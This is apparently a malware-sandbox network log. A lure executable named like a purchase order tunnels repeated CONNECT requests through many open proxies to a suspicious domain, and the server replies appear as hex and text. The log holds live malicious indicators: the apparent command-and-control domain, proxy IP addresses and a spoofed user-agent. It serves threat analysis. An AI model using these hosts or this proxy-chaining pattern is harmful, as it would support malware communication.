Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.467077971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.558957100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.651992083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.708074093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.777879000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.10	50439	184.178.172.3	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.486162901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.10	51305	172.67.181.147	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.490405083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.644794941 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.10	51310	104.17.132.79	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.493827105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.648166895 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.10	50568	104.238.111.107	56225	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.500237942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.558981895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.652031898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.708086967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.777936935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.910773039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:34.004412889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:58.004498005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:46.160645008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.10	51318	104.16.106.234	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.503994942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.658304930 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.10	51257	47.242.234.237	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.504426003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.10	51233	194.247.173.17	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.509488106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.10	51306	38.54.101.254	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.509871960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.689918041 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.10	51250	37.235.48.19	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.513869047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.10	51333	172.67.36.21	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.518325090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.672625065 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.10	51246	14.103.24.20	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.520680904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.10	51252	200.97.76.186	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.524944067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.865746975 CET	203	IN	HTTP/1.0 403 Forbidden Content-Length: 1176 Content-Type: text/html Date: Mon, 11 Mar 2024 15:39:45 GMT Expires: Mon, 11 Mar 2024 15:39:45 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.10	51284	162.223.116.75	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.525870085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.750399113 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:39:45 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.10	50466	72.195.34.60	27391	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.527394056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.10	51278	38.159.232.6	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.587061882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.207660913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.682615042 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.10	51321	5.78.65.91	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.587440014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.249912024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:40:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.10	51212	103.190.54.141	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.587515116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.10	51351	104.20.89.77	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.587631941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.749876022 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.10	50158	117.160.250.163	9990	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.587822914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.178670883 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.10	51258	91.241.217.58	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.588238001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.10	50429	176.192.65.34	5020	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.588474989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.10	50580	135.148.10.161	51507	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
